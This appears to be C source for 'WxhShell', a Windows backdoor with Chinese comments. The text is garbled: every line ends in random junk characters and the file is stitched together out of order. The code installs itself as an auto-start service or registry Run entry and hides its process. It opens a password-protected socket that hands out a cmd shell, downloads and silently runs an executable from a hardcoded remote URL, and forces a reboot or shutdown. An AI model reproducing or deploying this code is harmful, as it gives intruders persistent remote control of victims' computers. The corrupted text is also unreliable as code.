    } 8 6+>|  
  // 关机 DA wzXsx  
  case 'd': { }2 r08,m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?Tl@e   
    if(Boot(SHUTDOWN)) xw-q)u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &*y ve}su  
    else { }fCM_w  
    closesocket(wsh); K%gFD?{^q  
    ExitThread(0); b>7ts_b  
    } |M?HdxPa  
    break; @\h(s#sn  
    } q@sH@-z4]  
  // 获取shell X3-1)|g !z  
  case 's': { nB]Q^~jX  
    CmdShell(wsh); X,N@`  
    closesocket(wsh);  \1MDCP9:  
    ExitThread(0); +,-r b  
    break; &q< 8tTW5  
  } t<k8.9 M$  
  // 退出 `o3d@Vc  
  case 'x': { O.E0LCABC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :3t])mL#   
    CloseIt(wsh); *]eZ Y  
    break; q kKABow  
    } \l2 s^7G_  
  // 离开 ye%F <:O7  
  case 'q': { e)xWQ=,C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2)A D'  
    closesocket(wsh); S|J8:-  
    WSACleanup(); bVx]r[  
    exit(1); IYO,/ kbf  
    break; cR&xl^BJ  
        } KwHOV$lD;  
  } $G_<YVXcG  
  } :acQK=fe  
d0=nAZZ  
  // 提示信息 a82mC r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q"Md)?5N  
} #K l2K4  
  } +o3g]0  
z3C^L  
  return; ul?BKV+3E  
} qL P +@wbJ  
=c,gK8C  
// shell模块句柄 oB\Xl)A<  
int CmdShell(SOCKET sock) ) G{v>Z ,  
{ 3XnXQ/({  
STARTUPINFO si; $"8k|^Z3  
ZeroMemory(&si,sizeof(si)); w!}1oy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6a?y $+pr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vVW=1(QWI#  
PROCESS_INFORMATION ProcessInfo; *X\c $ =*  
char cmdline[]="cmd"; W.|6$hRl)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LasH[:QQQ  
  return 0; r$F]e]Ic\  
} p.9v<I%0  
y]l"u=$Tr{  
// 自身启动模式 <J)A_Kx[57  
int StartFromService(void) 2mUu3fZ  
{ _}&]`,s>  
typedef struct C6VoOT )\  
{ FJLJ;]`7+  
  DWORD ExitStatus; kpH;D=;  
  DWORD PebBaseAddress; Q 8rtZ  
  DWORD AffinityMask; %wf|nnieZ  
  DWORD BasePriority; pPZ/O 6  
  ULONG UniqueProcessId; j0~3[dyqU  
  ULONG InheritedFromUniqueProcessId; kYB <FwwB  
}   PROCESS_BASIC_INFORMATION; vb- .^l  
?I'-C?(t@1  
PROCNTQSIP NtQueryInformationProcess; v-3zav  
-W_s]oBg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Y|\7%(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V,+[XB  
tFaE cP  
  HANDLE             hProcess; @?m8/t9 .  
  PROCESS_BASIC_INFORMATION pbi; mr!I}I7x&x  
DQ\&5ytP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /[? F1Q  
  if(NULL == hInst ) return 0; ~vGtNMQg  
`z_7[$\~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &HK s >  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !C#RW=h9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C._sgO  
ak) -OL1  
  if (!NtQueryInformationProcess) return 0; X~he36-+<  
XO#)i6}G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9|?Lz  
  if(!hProcess) return 0; ~(j'a!#Vvk  
~5NGDT#L*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DOVX$N$3  
D:E~yh)$-  
  CloseHandle(hProcess); (AG  
r^t{Ii ~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1N!g`=}  
if(hProcess==NULL) return 0; cN7z(I0[  
;q; C ^l  
HMODULE hMod; Jyci}CU3\Q  
char procName[255]; 7V{"!V5  
unsigned long cbNeeded; 66<\i ltUQ  
LU,"i^T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); " ^baiN@ac  
[ 5W#1 &  
  CloseHandle(hProcess); 9r nk\`E  
em [F|  
if(strstr(procName,"services")) return 1; // 以服务启动 "O[76}I+.q  
g>xUS_d>  
  return 0; // 注册表启动 %hbLT{w  
} IZ0$=aB7  
%Z[/U  
// 主模块 1MI7l)D?  
int StartWxhshell(LPSTR lpCmdLine) I'9s=~VfY,  
{ +M##mRD  
  SOCKET wsl; [4Faq3T"  
BOOL val=TRUE; ^D;D8A.  
  int port=0;  6b]d|  
  struct sockaddr_in door; h ^h-pd  
GR ?u?-  
  if(wscfg.ws_autoins) Install(); U|7Qw|I7  
|3:=qpT-  
port=atoi(lpCmdLine); >&vO4L  
/=m9s  
if(port<=0) port=wscfg.ws_port; 'e>sHL  
cNo4UZvr  
  WSADATA data; C cr+SR2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oPu|Q^I=  
@k+G Cf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~}IvY?! ;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SxZ^ "\H  
  door.sin_family = AF_INET; %<C G|]W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F|Dz]ar  
  door.sin_port = htons(port); ]jVSsSv  
bp>ps@zFq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ; G59}d p~  
closesocket(wsl); ^ wF@6e7/&  
return 1; Q^Z<RA(C  
} ?>.g;3E$  
9LEilmPs  
  if(listen(wsl,2) == INVALID_SOCKET) { id tQXwa  
closesocket(wsl); te*Y]-&I|/  
return 1; <,pLW~2-"  
} C6'*/wq  
  Wxhshell(wsl); 8gtCY~m  
  WSACleanup(); 3.<6;?  
G#n^@kc*,  
return 0; Sd\IGy{a  
K-EI?6`xM  
} @yn^6cE  
4 ?@uF[  
// 以NT服务方式启动 aT1CpY=T|.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ah/6;,T  
{ Hx2j=Q_dw  
DWORD   status = 0; vYSetAd v  
  DWORD   specificError = 0xfffffff; d0A\#H_&  
\ ~LU 'j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Iq0 #A5U%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9{%g-u \  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -hVv  
  serviceStatus.dwWin32ExitCode     = 0; 'hlB;z|T  
  serviceStatus.dwServiceSpecificExitCode = 0; c_G-R+  
  serviceStatus.dwCheckPoint       = 0; Jh&~/ntmm_  
  serviceStatus.dwWaitHint       = 0; L_~I ~  
e}R2J `7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9O=05CQ  
  if (hServiceStatusHandle==0) return; o ?va#/fk  
CS;W)F  
status = GetLastError(); K_&c5(-(_  
  if (status!=NO_ERROR) A:.IBctsd  
{ YoF\ MT]W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1>@]@ST[:  
    serviceStatus.dwCheckPoint       = 0; 38U5^`  
    serviceStatus.dwWaitHint       = 0; 2u~c/JryN  
    serviceStatus.dwWin32ExitCode     = status; Xrj(,|  
    serviceStatus.dwServiceSpecificExitCode = specificError; =tf@4_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [)H,zpl  
    return; Vgqvvq<S  
  } [^U;  
pKxX{i1l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y/@;c)1b9  
  serviceStatus.dwCheckPoint       = 0; sw$R2K{y  
  serviceStatus.dwWaitHint       = 0; !k:zLjtp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @vdc)vN[ /  
}  UL)"  
8)W?la8'p  
// 处理NT服务事件,比如:启动、停止 ^/%o%J&Hz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 17 i<4f#  
{ z<o E!1St  
switch(fdwControl) TRk ?8  
{ co<2e#p;  
case SERVICE_CONTROL_STOP: 4aalhy<j  
  serviceStatus.dwWin32ExitCode = 0; 1=/doo{^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; # Z|%0r_~  
  serviceStatus.dwCheckPoint   = 0; !Bk[p/\  
  serviceStatus.dwWaitHint     = 0; E?Qz/*'zv  
  { ) ]/i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *h*j%  
  } FtFv<UV  
  return; C`NBHRa>  
case SERVICE_CONTROL_PAUSE: V4`:Vci Aw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ms:KM{T0  
  break; 5w,lw  
case SERVICE_CONTROL_CONTINUE: *or2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NIGB[2V(  
  break; mh A~eJ  
case SERVICE_CONTROL_INTERROGATE: 'ZGT`'ri  
  break; hF{x')(#l  
}; jU]]:S4xD/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `P^u:  
} &547`*  
BaWQ<T8p8  
// 标准应用程序主函数 60hNCVq%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P\q<d  
{ R<n8M"B  
%w'/n>]j  
// 获取操作系统版本 aPD?Bh>JU  
OsIsNt=GetOsVer(); $f<eq7rRe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;g: UE  
l~]hGLviJE  
  // 从命令行安装 [Krm .)  
  if(strpbrk(lpCmdLine,"iI")) Install(); t4f (Y,v  
zB#_:(1qK  
  // 下载执行文件 LyuSZa]  
if(wscfg.ws_downexe) { MekT?KPQ{L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ( oQ'4,F  
  WinExec(wscfg.ws_filenam,SW_HIDE); N{1.g S  
} )myf)"l5  
~/j$TT"  
if(!OsIsNt) { Jh37pI  
// 如果时win9x,隐藏进程并且设置为注册表启动 :`+|'*b(A  
HideProc(); z>cIiprX  
StartWxhshell(lpCmdLine); Y%78>-2 L  
} BW'L.*2  
else wXr>p)mP  
  if(StartFromService()) aL8p"iSG9  
  // 以服务方式启动 zyaW3th  
  StartServiceCtrlDispatcher(DispatchTable); c=b+g+*xd  
else "bD+/\ z  
  // 普通方式启动 @T<ad7g-2J  
  StartWxhshell(lpCmdLine); A#v|@sul  
q%OcLZ<,  
return 0; 4 t&gW  
} >EBZ$X  
WW//heJe-  
[3t0M5x w  
Dh hG$  
=========================================== '8s>rH5[V  
+mJ :PAy4  
= E&b=  
zWy ,Om8P  
If~95fy~c  
W3 De|V^  
" C:]/8l  
M:R8<.{  
#include <stdio.h> P7's8KOoS  
#include <string.h> 1i4WWK7k  
#include <windows.h> yJDeX1+,  
#include <winsock2.h> /3Jz3  
#include <winsvc.h> f=t:[ < )  
#include <urlmon.h> 7)B&(2D&  
x1t{SQ-C  
#pragma comment (lib, "Ws2_32.lib") !cRfZ  
#pragma comment (lib, "urlmon.lib") 8{R&EijC  
?TIV2m^?  
#define MAX_USER   100 // 最大客户端连接数 w?kGi>7E  
#define BUF_SOCK   200 // sock buffer [dl+:P:zc  
#define KEY_BUFF   255 // 输入 buffer Ee{`Y0  
i~9?:plS  
#define REBOOT     0   // 重启 }P#Vsqe V  
#define SHUTDOWN   1   // 关机 J4YT)-  
bRWIDPh  
#define DEF_PORT   5000 // 监听端口 8V6=i'GK  
A[RHw<  
#define REG_LEN     16   // 注册表键长度 &svx@wW  
#define SVC_LEN     80   // NT服务名长度 ^`tk/#h\9F  
>eQbipn  
// 从dll定义API z<a$q3!#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T |37#*c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (jMtN?&0H-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -M6L.gi)oJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tC^ 1}  
'9'l=Sh  
// wxhshell配置信息 gXLCRn!iR  
struct WSCFG { |)9thIQF  
  int ws_port;         // 监听端口 w'A tf  
  char ws_passstr[REG_LEN]; // 口令 '0 ]r<O  
  int ws_autoins;       // 安装标记, 1=yes 0=no >L^xlm%7o  
  char ws_regname[REG_LEN]; // 注册表键名 | z:Q(d06  
  char ws_svcname[REG_LEN]; // 服务名 @!e~G'j%VD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O]t\B *%}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %Ys$@dB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `AR"!X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I6+2>CUGo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VKy5=2&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gu5~ DyT`G  
GMz8B-vk  
}; PkTf JQP8  
[cDbaq,T  
// default Wxhshell configuration b\:~;  
struct WSCFG wscfg={DEF_PORT, ZP-dW|<[ x  
    "xuhuanlingzhe", !K[/L< Kv  
    1, |8bE9qt.P  
    "Wxhshell", lK*jhW?3:  
    "Wxhshell", fmFzW*,E  
            "WxhShell Service", S.: 7k9  
    "Wrsky Windows CmdShell Service", 6JSY56v  
    "Please Input Your Password: ", P'sfi>A  
  1, s D_G)c  
  "http://www.wrsky.com/wxhshell.exe", b4 CF`BG  
  "Wxhshell.exe" RAV^D.  
    }; '@bJlJB9>  
'99@=3AB:`  
// 消息定义模块 GzdRG^vN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fYB*6Xb,w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %%&e"&7HE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z$|;-u|  
char *msg_ws_ext="\n\rExit."; B52yaG8C  
char *msg_ws_end="\n\rQuit."; @T ysXx  
char *msg_ws_boot="\n\rReboot..."; )\>r-g$  
char *msg_ws_poff="\n\rShutdown..."; je,c7ZFO  
char *msg_ws_down="\n\rSave to "; l xe`u}[  
3htq[Ren  
char *msg_ws_err="\n\rErr!";  it)ZP H  
char *msg_ws_ok="\n\rOK!"; \]8VwsP  
} ~F~hf>s  
char ExeFile[MAX_PATH]; ^LVk5l)\>g  
int nUser = 0; Umz05*  
HANDLE handles[MAX_USER]; y@3Q;~l,  
int OsIsNt; ePEe?o4;  
:m K xa  
SERVICE_STATUS       serviceStatus; vM(Xip7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3rNc1\a;  
T`\]!>eb  
// 函数声明 L+.H z&*@  
int Install(void); M\9F:.t=  
int Uninstall(void); cvfUyp;P  
int DownloadFile(char *sURL, SOCKET wsh); IE;\7 r+h  
int Boot(int flag); Qs l80~n_7  
void HideProc(void); |n`PESf_  
int GetOsVer(void); 8}BS2C%P  
int Wxhshell(SOCKET wsl); 2bLI%gg3  
void TalkWithClient(void *cs); r+S;B[Vd  
int CmdShell(SOCKET sock); @}DFp`~5|  
int StartFromService(void); +AoP{ x$Ia  
int StartWxhshell(LPSTR lpCmdLine); U; U08/y  
g*y/j]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z]=8eV\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v L}T~_=3  
tuLH}tkNY  
// 数据结构和表定义 u1^\MVO8  
SERVICE_TABLE_ENTRY DispatchTable[] = ]JdJe6`Mc  
{ ,?(ciO)  
{wscfg.ws_svcname, NTServiceMain}, `\N]wlB2/b  
{NULL, NULL} Jf_%<\ O  
}; <bUXC@3W  
@?Zf-.  
// 自我安装 @h}`DNaZ^  
int Install(void) j (ygQ4T  
{ b7Oj<! Wo`  
  char svExeFile[MAX_PATH]; "|t!7hC  
  HKEY key; sn"fK=,#g  
  strcpy(svExeFile,ExeFile); {<K=*r rZ  
9x?'}  
// 如果是win9x系统,修改注册表设为自启动 8sg|MWSU  
if(!OsIsNt) { ?:igumeYX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E'EcP4eL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wp[9beI*M  
  RegCloseKey(key); ar$*a>'?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?pG/m%[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Dp0fauJ  
  RegCloseKey(key); !9]d |8!  
  return 0; ,lm=M 5b  
    } vtyx`F f  
  } uel{`T[S  
} g_aCHEFBv  
else { W5SNI>|E  
&= eYr{  
// 如果是NT以上系统,安装为系统服务 8(lR!!=q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^DB{qU  
if (schSCManager!=0) {@.Vh]  
{ G1d(,4Xp  
  SC_HANDLE schService = CreateService bL1m'^r  
  ( cWa)#:JOV  
  schSCManager, "=A>}q@;H  
  wscfg.ws_svcname, 6B6vP%H#  
  wscfg.ws_svcdisp, ->gZ)?Fqy  
  SERVICE_ALL_ACCESS, a]B[`^`z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `1+F,&e  
  SERVICE_AUTO_START, vt1lR5  
  SERVICE_ERROR_NORMAL, y1pu R7  
  svExeFile, wK!~tYxP  
  NULL, FTf<c0  
  NULL, mL yBm  
  NULL, BKIjNV3  
  NULL, Riry_   
  NULL O!&,5Dy  
  ); F9flSeN  
  if (schService!=0) wtH~-xSB|  
  { XP3x Jm3  
  CloseServiceHandle(schService); p|[B =.c{  
  CloseServiceHandle(schSCManager); W Zn.;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yI3kvh  
  strcat(svExeFile,wscfg.ws_svcname); T .n4TmF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :/N+;- 18  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k)7{Y9_No  
  RegCloseKey(key); s'\$t  
  return 0; 0 n vSvk  
    } Um.qRZ?  
  } OW@\./nM  
  CloseServiceHandle(schSCManager); -{jdn%Y7CK  
} & ,hr8  
} /)L 0`:I#  
<q2?S  
return 1; & E}mX]t  
} 5h{`<W  
jZ*WN|FK?  
// 自我卸载 Hi}RZMr1  
int Uninstall(void) {XCf-{a]~  
{ H17-/|-;0!  
  HKEY key; v|';!p|  
jp2Q 9Z  
if(!OsIsNt) { %; "@Ah  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N.do "  
  RegDeleteValue(key,wscfg.ws_regname); PkuTg";  
  RegCloseKey(key); ci9R.U)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sW@krBxMv  
  RegDeleteValue(key,wscfg.ws_regname); h*i9m o  
  RegCloseKey(key); 9&]M**X  
  return 0; c3TKl/  
  } }hpm O-  
} TFQ!7'xk)  
} 9ooY?J  
else { DGESba\2+  
KKe8 ly,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qQ]]~F  
if (schSCManager!=0) TI|/u$SJ<Z  
{ s#9Ui#[=h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ),}AI/j;zY  
  if (schService!=0) ;]2s,za)qs  
  { {-/^QX]6  
  if(DeleteService(schService)!=0) { JYb}Zw;  
  CloseServiceHandle(schService); l`9t}  
  CloseServiceHandle(schSCManager); @C_KV0i  
  return 0; 6A R2htN^  
  } q!~ -(&S  
  CloseServiceHandle(schService); a?h*eAAc.  
  } Hh;:`;}  
  CloseServiceHandle(schSCManager); gY-5_Ab  
} 7r# ymQ  
} k44Q):ncY7  
5*%#o  
return 1; "UFs~S|e  
} 0pb '\lA  
6?tlU>A2s  
// 从指定url下载文件 QF2q^[>w6  
int DownloadFile(char *sURL, SOCKET wsh) G"5D< ]  
{ Lo.rvt  
  HRESULT hr; am1[9g8L  
char seps[]= "/"; x\e;+ubt}  
char *token; J5Z%ImiT^O  
char *file; ^ <`(lyph  
char myURL[MAX_PATH]; Jb_1LZ) ]  
char myFILE[MAX_PATH]; `O?T.p)   
@&F@I3`{  
strcpy(myURL,sURL); {=2DqkTD  
  token=strtok(myURL,seps); G.Vu KsP]  
  while(token!=NULL) f_^1J  
  { m0w;8uF2UV  
    file=token;  D1 Z{W  
  token=strtok(NULL,seps); URgk^nt2p  
  } e!-,PU9+  
.R*!aK  
GetCurrentDirectory(MAX_PATH,myFILE); "^j>tii  
strcat(myFILE, "\\"); O)|P,?  
strcat(myFILE, file); _9H*agRe  
  send(wsh,myFILE,strlen(myFILE),0); 3chPY4~A  
send(wsh,"...",3,0); (:V>Hjt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  +ECDD'^!  
  if(hr==S_OK) _Q%vK*n  
return 0; ^g1f X1  
else S{]7C?4`  
return 1; p^kUs0$GS  
85:NFa@J  
} %sBAl.!BN  
&.13dq  
// 系统电源模块 MB ju![n  
int Boot(int flag) j1q[2'  
{ s.Y4pWd5@  
  HANDLE hToken; cLa]D[H  
  TOKEN_PRIVILEGES tkp; pL=d% m.W  
mMx ;yZ  
  if(OsIsNt) { !rDdd%Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D%mXA70  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W1Lr_z6  
    tkp.PrivilegeCount = 1; +6$g! S5{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8(g:HR*;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b+-f.!j  
if(flag==REBOOT) { XKA&XpF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5vAf7\*  
  return 0; @oF$LMD  
} ]r! >{  
else { i@5[FC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HW4 .zw  
  return 0; >Iewx Gb>  
} ,Y?sfp  
  } % }|cb7l  
  else { yH 9!GS#  
if(flag==REBOOT) { |s#'dS;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `i) 2nNJ"  
  return 0; `(+o=HsD  
} iB0WEj[?  
else { ,r^M?>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5AS[\CB4  
  return 0; 9j ]sD/L5q  
} HmfG$Z  
} X:a`B(@S  
N..j{FE  
return 1; /yz=Cjoz  
} UtB6V)YI  
=(a1+. O  
// win9x进程隐藏模块 m=AqV:%|  
void HideProc(void) X{n- N5*  
{ (`>voi<^  
w~_;yQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o@]So(9f  
  if ( hKernel != NULL ) o*x*jn:hm  
  { p(xC*KWB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XoL JL]+?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [ xOzzp4  
    FreeLibrary(hKernel); ;= j@, yu  
  } k:2QuG^  
C 3hv*  
return; x^|Vaf  
} IEjP<pLe  
x83 !C}4:  
// 获取操作系统版本 Nw&!}#m  
int GetOsVer(void) h mx= 35  
{ 9][(Iu]h7  
  OSVERSIONINFO winfo; qmTb-~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '\~$dtI$  
  GetVersionEx(&winfo); Qu5UVjbE,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L%v^s4@  
  return 1; ,uw132<b  
  else ONNpiK-  
  return 0; ,:~0F^z  
} 6) oLus  
; Sd\VR  
// 客户端句柄模块 lZ8CY  
int Wxhshell(SOCKET wsl) #po5_dE\*  
{ lf>*Y.!@me  
  SOCKET wsh; =.]l*6W V  
  struct sockaddr_in client; [S.ZJUns  
  DWORD myID; RT93Mt%P  
< v]3g  
  while(nUser<MAX_USER) <R%;~){  
{ 6Ao%>;e*  
  int nSize=sizeof(client); LA_3=@2.H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n .!Ym X4  
  if(wsh==INVALID_SOCKET) return 1; >@WX>0`ht  
X1IeSMAe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Eh-n  
if(handles[nUser]==0) +,o0-L1D  
  closesocket(wsh); <9=9b_z  
else {QBB^px  
  nUser++; x}U8zt)yD3  
  } ze_{=Cv&Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wv__ wZ  
Ngr/QL]Q  
  return 0; VIP7OHJh  
} G*S|KH  
B!gGK|8  
// 关闭 socket $F.([?)k?  
void CloseIt(SOCKET wsh) ELh8ltLY  
{ -",=G\XZ  
closesocket(wsh); y%sroI('y  
nUser--; {k4CEt;  
ExitThread(0); UA[,2MBp  
} Cv$ SJc  
9Rm/V5  
// 客户端请求句柄 f<+ 4rHT  
void TalkWithClient(void *cs) bX.ja;;   
{ @i^~0A#q*  
p^(&qk?ut  
  SOCKET wsh=(SOCKET)cs; Hk>79};  
  char pwd[SVC_LEN]; 2=?tJ2E  
  char cmd[KEY_BUFF]; ^:9$@ +a  
char chr[1]; 0Io'bF  
int i,j; .nYUL>  
#jAqra._b  
  while (nUser < MAX_USER) { UgWs{y2SE.  
nR4y`oP+  
if(wscfg.ws_passstr) { :{NC-%4o0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f84:hXo6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,uzN4_7u  
  //ZeroMemory(pwd,KEY_BUFF); *. 3N=EO  
      i=0; fzjU<?}  
  while(i<SVC_LEN) { X7,PEA  
Q'k\8'x  
  // 设置超时 [4fU+D2\d  
  fd_set FdRead; iK?b~Q  
  struct timeval TimeOut; i,13b e  
  FD_ZERO(&FdRead); [1Ydo`  
  FD_SET(wsh,&FdRead); e4~>G?rM_  
  TimeOut.tv_sec=8; tbnH,*  
  TimeOut.tv_usec=0; ~gz^Cdh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fN"( mW>!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;q0uE:^ S  
{lth+{&L#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `mye}L2I  
  pwd=chr[0]; CG'.:` t  
  if(chr[0]==0xd || chr[0]==0xa) { lpH=2l$>?  
  pwd=0; kNu'AT#3|  
  break; `h}q Eo`  
  } 7iJ&6=/  
  i++; j@Yi`a(sdm  
    } 0 ugT2%  
FWH}j0Gj|  
  // 如果是非法用户,关闭 socket j3q~E[Mz\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E7Cy(LO  
} +UJuB  
= 8gHS[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zI~owK)%Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ogFKUD*h&>  
g%u&Zkevx  
while(1) { 56 l@a{  
"P)*FT  
  ZeroMemory(cmd,KEY_BUFF); $+}+zZX5  
h7s; m  
      // 自动支持客户端 telnet标准   [ofqGwpDG  
  j=0; PSawMPw  
  while(j<KEY_BUFF) { tNVV)C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %gnM( pxl  
  cmd[j]=chr[0]; [i0Hm)Bd3  
  if(chr[0]==0xa || chr[0]==0xd) { k%y9aO  
  cmd[j]=0; T0)"1D<l  
  break; _Lw OOZj  
  } vIvVq:6_3  
  j++; EQqx+J&!  
    } kY]W Qu  
PpLU  
  // 下载文件 j@Qg0F  
  if(strstr(cmd,"http://")) { &R~n>>c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qo)?8kx>l  
  if(DownloadFile(cmd,wsh)) 3D9 !M-  
